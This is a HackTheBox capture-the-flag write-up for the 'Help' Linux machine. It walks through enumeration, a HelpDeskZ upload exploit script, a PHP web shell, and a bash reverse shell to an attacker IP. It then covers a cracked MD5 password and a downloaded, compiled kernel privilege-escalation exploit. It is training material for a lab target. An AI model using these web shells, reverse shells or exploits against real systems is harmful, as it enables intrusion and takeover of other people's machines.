> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/help-hackthebox-writeup.md). # Help HackTheBox Writeup Help HackTheBox Linux writeup covering HelpDeskZ file upload, web shell access, and local kernel privilege escalation. {% embed url="" %} {% hint style="warning" %} **Skills:** * Web directory enumeration * HelpDeskZ arbitrary file upload * Linux kernel privilege escalation {% endhint %} ## Reconnaissance ### Workspace setup Create directories for scan results, discovered content, exploits, and helper scripts. ```bash mkdir {nmap,content,exploits,scripts} ```

### Connectivity check Confirm that the target is reachable. The TTL indicates a Linux host. Set the target for local tooling. ```bash ping -c 1 10.129.230.159 settarget Help 10.129.230.159 ```

### Port discovery Run a full TCP scan to identify open ports. ```bash nmap -p- --open -Pn -sS -n --min-rate 5000 10.129.230.159 -oG allPorts ``` The scan identifies ports `22`, `80`, and `3000`.

Run a targeted service and version scan. ```bash nmap -sCV -p22,80,3000 10.129.230.159 -oN targeted ```

Add the target hostname to `/etc/hosts`. ```bash nano /etc/hosts ```

### Web enumeration Port `80` serves the default Apache page.

Use Gobuster to discover web directories. {% code overflow="wrap" %} ```bash gobuster dir -u http://help.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100 ``` {% endcode %} The scan discovers the `/support` application.

The application uses the HelpDeskZ help desk platform.

## Initial access Search for public HelpDeskZ exploits. An arbitrary file upload vulnerability works without authentication. {% code overflow="wrap" %} ```bash searchsploit helpdeskz ``` {% endcode %}

The exploit calculates the upload path from the file name and upload timestamp. {% code overflow="wrap" %} ```python import sys import requests import hashlib from time import time def md5(data): return hashlib.md5(data).hexdigest() def get(base, filename, at): uploaded_file = "{}/uploads/tickets/{}.{}".format( base.rstrip("/"), md5(filename + str(at)), filename.split(".")[-1] ) r = requests.get(uploaded_file) if r.status_code == 200: return uploaded_file def main(argv): if len(sys.argv) < 3: print("USAGE: {} HELPDESKZ_URL FILENAME".format(argv[0])) return for i in range(1000): url = get(argv[1], argv[2], int(time() - i)) if url is not None: print(url) return print("Oops ... not found") if __name__ == "__main__": main(sys.argv) ``` {% endcode %} Run the exploit against the HelpDeskZ instance. {% code overflow="wrap" %} ```bash python2 exploit.py http://help.htb/support/ cmd.php ``` {% endcode %} Upload a minimal PHP web shell as `cmd.php`. {% code overflow="wrap" %} ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` {% endcode %}

The exploit returns the uploaded file path. * [Uploaded web shell](http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php) Confirm remote command execution. {% code overflow="wrap" %} ```bash http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php?cmd=id ``` {% endcode %}

Read the user flag. {% code overflow="wrap" %} ```bash ?cmd=cat /home/help/user.txt ``` {% endcode %}

Start a listener for a reverse shell. {% code overflow="wrap" %} ```bash nc -nvlp 443 ``` {% endcode %} Execute the following command through the web shell. {% code overflow="wrap" %} ```bash bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261" ``` {% endcode %}

### Shell stabilization Upgrade the shell to a fully interactive TTY. {% code overflow="wrap" %} ``` script /dev/null -c bash # Press Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` {% endcode %} ### Privilege escalation The `help` home directory contains the Node.js application exposed on port `3000`.

Search the application files for stored passwords. {% code overflow="wrap" %} ```bash grep -RIn --exclude-dir=node_modules "password" . ``` {% endcode %} The search reveals credentials in multiple files.

* * 5d3c93182bb20f07b994a7f617e99cff Crack the MD5 hash with CrackStation. {% embed url="" %} The password is weak: * godhelpmeplz

Identify the installed operating system version. {% code overflow="wrap" %} ```bash cat /etc/os-release ``` {% endcode %}

The host runs Ubuntu `16.04` with kernel `4.4.0-116`. This version matches a public local privilege escalation exploit. {% embed url="" %} Download the raw exploit source. {% embed url="" %} Host the exploit on the attacker machine. {% code overflow="wrap" %} ```bash wget https://www.exploit-db.com/raw/44298 python3 -m http.server 8081 ``` {% endcode %} Download it from the target. {% code overflow="wrap" %} ```bash wget http://10.10.15.2:8081/44298 ``` {% endcode %}

Compile and execute the exploit. {% code overflow="wrap" %} ```bash mv 44298 exploit.c gcc -o exploit exploit.c ./exploit ``` {% endcode %} The exploit returns a shell as `root`.

### Flag root.txt

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